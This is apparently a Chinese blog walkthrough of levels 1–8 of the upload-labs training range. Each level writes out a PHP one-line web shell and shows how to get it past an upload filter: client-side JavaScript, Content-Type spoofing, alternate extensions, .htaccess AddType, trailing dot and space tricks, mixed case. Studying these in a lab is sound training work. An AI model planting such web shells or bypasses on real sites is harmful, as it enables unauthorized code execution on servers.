upload-labs
一个想帮你总结所有类型的上传漏洞的靶场
环境搭建
upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共21关(原20关,插入了一个Pass-05,其余Pass编号依次往后递增),每一关都包含着不同上传方式。
项目地址:https://github.com/c0ny1/upload-labs
我在练习的时候,使用自己的phpstudy常常出现环境问题,所以这里就推荐大家练习的时候,直接使用项目提供的一个集成环境。
下载地址:https://github.com/c0ny1/upload-labs/releases
靶场包含漏洞类型分类:
Pass-01
URL:upload.labs/Pass-01/index.php
创建1.php,里面写一句话木马:<?php eval($_GET['jankin']); ?>
上传文件提示:
点击上传就直接弹出提示,很明显,这是一个前端拦截,那么这里可以通过禁用JavaScript或抓包提交。
将文件后缀改为jpg,1.jpg,上传,bp抓包
将filename处,1.jpg改为1.php
点Forward,出现了一个图片框,右键复制图片地址upload.labs/upload/1.php
通过浏览器提交GET请求:upload.labs/upload/1.php?jankin=phpinfo();
为了节省时间,这里不使用菜刀连接,直接以GET的方式请求,GET的参数就是一句话木马里的GET传的值。
Pass-01校验方式:客户端JavaScript校验
采用绕过方式:抓包改后缀直接上传
Pass-02
创建2.php,里面写一句话木马:<?php eval($_GET['jankin']); ?>
每一关都复制一个新的文件名,因为所有关卡的上传目录都是upload,这是为了避免重复。也省的每关都去upload目录清空文件。实际上upload-labs右上角可以一键清除上传文件,不过点完之后,upload目录也没了,需要手动创建,所以还是每一关建一个文件好点。
上传文件提示:文件类型不正确,请重新上传!
初步判断为Content-type校验
抓包,将原来的Content-Type: application/octet-stream改为image/gif,Forward
上传成功,图片URL为:upload.labs/upload/2.php
通过浏览器提交GET请求:upload.labs/upload/2.php?jankin=phpinfo();
Pass-02校验方式:Content-type
采用绕过方式:将Content-type的值改为图片类型,image/gif
Pass-03
复制2.php为3.php,内容不变。
上传文件提示:不允许上传.asp,.aspx,.php,.jsp后缀文件!
很明显,这是黑名单过滤,只要上传asp、aspx、php、jsp外的文件就行了。
抓包将php后缀改为php3,成功上传
通过浏览器提交GET请求:upload.labs/upload/202006012013482561.php3?jankin=phpinfo();
Pass-03这里,可能有些环境无法解析php3,那么可以尝试其他的,例如php2、php4、php5,phtml等,可以在httpd.conf里面加一行:
AddType application/x-httpd-php .php .php3 .phtml
我一开始用的是phpstudy8.1.0.5,php5.2.17nts,Apache2.4.39。改了半天的httpd.conf文件 ,都没法生效,无法解析。本来我就对搭建各类服务器比较熟悉,最后还是没改成功,可能是一些环境原因。上面这行配置,是我从集成环境中的httpd.conf复制出来的,如果改了重启没生效,就是环境问题了。
所以打这个靶场还是推荐使用集成环境,更能体会到作者设计关卡的考核点。
Pass-03校验方式:后缀名黑名单校验(黑名单不全)
采用绕过方式:上传其他后缀名:php2、php3、php4、php5、phtml、pht
Pass-04
复制4.php为4.php,内容不变。
上传文件提示:此文件不允许上传!
抓包尝试一波,最后在文件名上通过“点+空格+点”的方式绕过
查看一波源码,程序对上传文件的点进行了删除,然后首尾去空。
而我们输入4.php. .
,最后保留了一个点,可以看到上图,路径为upload/4.php.,Windows会自动去掉后缀名最后的‘.’,这是Windows的特性,所以我们可以访问/upload/4.php
通过浏览器提交GET请求:upload.labs/upload/4.php?jankin=phpinfo();
Pass-04校验方式:后缀名黑名单校验(去点、去空,最后还剩一个点)
采用绕过方式:文件名后面加“点+空格+点”进行绕过
Pass-05
复制4.php为5.php,内容不变。
上传文件提示:此文件类型不允许上传!
抓包尝试,同样采用点+空格+点的方式上传成功
查看了一下源码,想看看与Pass-04有什么区别,结果发现仅仅是黑名单有所不同。
通过对比黑名单,可以发现,Pass-04也可以通过上传.htaccess文件添加解析。例如.htaccess文件内容为:AddType application/x-httpd-php .aaa ,如果上传成功了,那么我们再上传一个.aaa格式的文件,就可以解析了。
Pass-05校验方式:后缀名黑名单校验,同Pass-04,黑名单多了.htaccess
采用绕过方式:文件名后面加“点+空格+点”进行绕过
Pass-06
复制5.php为6.php,内容不变。
上传文件提示:此文件类型不允许上传!(与Pass-05一样)
抓包尝试,采用之前的后缀加【点+空格+点】的方式上传成功了,文件名也被改了,不过php后缀也没了,所以需要尝试其他的方法。
一番尝试后,发现将php后缀大小写混合,上传成功了。
这里也被环境坑了下,一开始用phpstudy8.1.0.5的php5.2.17nts,Apache2.4.39,上传成功了pHP后缀的文件,然后访问显示500,也是一个环境问题。到这里我就直接用集成环境,才成功上传解析。
Pass-06校验方式:后缀名黑名单校验(文件名没有统一转换为小写)
采用绕过方式:后缀名大小写混合绕过
Pass-07
复制6.php为7.php,内容不变。
上传文件提示:此文件不允许上传
老样子,抓包尝试。在文件名后面加了个空格,成功上传并返回文件地址
Pass-07校验方式:后缀名黑名单校验(代码没有对上传文件进行去空处理)
采用绕过方式:空格绕过
Pass-08
复制7.php为8.php,内容不变。
上传文件提示:此文件类型不允许上传!
文件名后加“点+空格+点”上传成功
由于跟前面的绕过方法一样,所以照例看下源码
可以看到,他这里并没有对文件名去点处理,所以我们上传的文件名就是“8.php. .”,上传后windows文件特性,又对其进行了去点、去空格,最终保存名为8.php
Pass-08校验方式:后缀名黑名单校验(代码没有对上传文件进行去点处理)
采用绕过方式:文件名后面加“点+空格+点”进行绕过
总结:
欢迎关注
IamJankin